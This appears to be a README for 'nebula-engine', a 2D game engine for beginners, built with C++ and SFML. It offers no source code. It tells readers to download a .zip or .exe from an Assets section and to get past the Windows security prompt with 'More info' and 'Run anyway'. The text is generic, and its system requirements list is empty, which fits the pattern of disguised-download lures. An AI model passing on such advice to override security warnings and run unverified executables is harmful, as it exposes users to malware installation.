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🚀 nebula-engine - Create stunning 2D games with ease

Nebula Engine helps you build 2D games. We built this tool on C++ and SFML to ensure fast performance. You create game logic, manage assets, and render graphics through a simple interface. You do not need to be a professional coder to use these tools.

⚙️ How it works

The engine handles the technical parts of game development. It manages the window display, the keyboard input, and the collision detection between objects. You focus on the art and the game rules. The software translates your design choices into a playable game.

📥 Getting the software

You must visit the website to download the current version. Follow these steps to obtain the files:

  1. Visit this link to the download page.
  2. Look for the section labeled Assets.
  3. Click the file that ends in .zip or .exe.
  4. Save the file to your computer.

🖥️ System requirements

Your computer needs specific hardware to run the engine. Check your system against this list:

Most modern computers meet these standards. If your device is older, check your display drivers to ensure they are current.

🛠️ Setting up the engine

Once the download finishes, follow these instructions to prepare your workspace:

  1. Open your Downloads folder.
  2. Right-click the downloaded file.
  3. Select Extract All if the file is a compressed folder.
  4. Pick a folder on your computer where you want to keep the engine files. Use a simple location like Documents or a folder on your Desktop.
  5. Open the folder you just created.
  6. Find the file named nebula-engine.exe.
  7. Double-click this file to launch the program.

Windows might show a blue security window. This happens because the software is new. To bypass this, click More info and then click Run anyway. The engine will open a new window showing the main dashboard.

🧩 Building your first game project

The main dashboard gives you three primary options. You can create a fresh project, load an existing one, or view the tutorials.

Select Create New Project to start. The engine will ask you for a name and a save location. Choose a name that describes your game idea. The software will build a folder containing your assets and your game settings.

The editor contains a panel on the left for your files. You will see folders for sprites, sounds, and scripts. Drag and drop your image files into the sprites folder to use them in your game. The engine accepts common formats like PNG and JPG for images and WAV for audio files.

🎨 Adding objects to the screen

To add a character to your game, locate it in the sprites folder. Click and drag the file onto the main viewport. This puts the image into your game world. You can resize it by clicking the corners of the object. Use the properties panel on the right to change coordinates, scale, or rotation.

The engine uses a grid system to help you align objects. You can turn this grid on or off in the View menu. Proper alignment makes it easier to build levels that look consistent.

🎮 Testing your game

You should test your work as you go. Click the Play button in the top toolbar to launch your game in a preview window. The game will run as if it were a finished product. Press the Escape key on your keyboard to stop the preview and return to the editor.

If the game runs slowly, check the settings menu. You can lower the resolution or reduce the detail of background effects. This makes the game run smoother on older hardware.

📝 Saving your work

The engine saves your progress automatically in short intervals. You can also save manually by clicking File and then clicking Save Project. Always check that your save folder has enough disk space before you work on large projects.

❓ Frequently asked questions

Who can use this engine? Anyone who wants to learn game design can use this tool. It is perfect for beginners who want to build platformers, puzzles, or top-down games.

Can I sell the games I build? Yes. You own the games that you create with this software. There are no fees or royalties required if you choose to sell your work.

What are the limits of this engine? This engine is built specifically for 2D graphics. It does not support 3D models or advanced 3D shaders. It works best for pixel art and classic 2D game styles.

How do I update the engine? When a newer version arrives, download the file from the link again. Replace your old files with the new ones. Your project files will remain compatible with the new version.

🌐 Getting more help

If you encounter issues, look for the help documentation included in the installation folder. It contains guides on specific features like animation and sound. You can also find active communities online where other users share tips and discuss their projects. Consistency is the best way to improve your skills. Start with small tasks and build complexity as you learn the interface.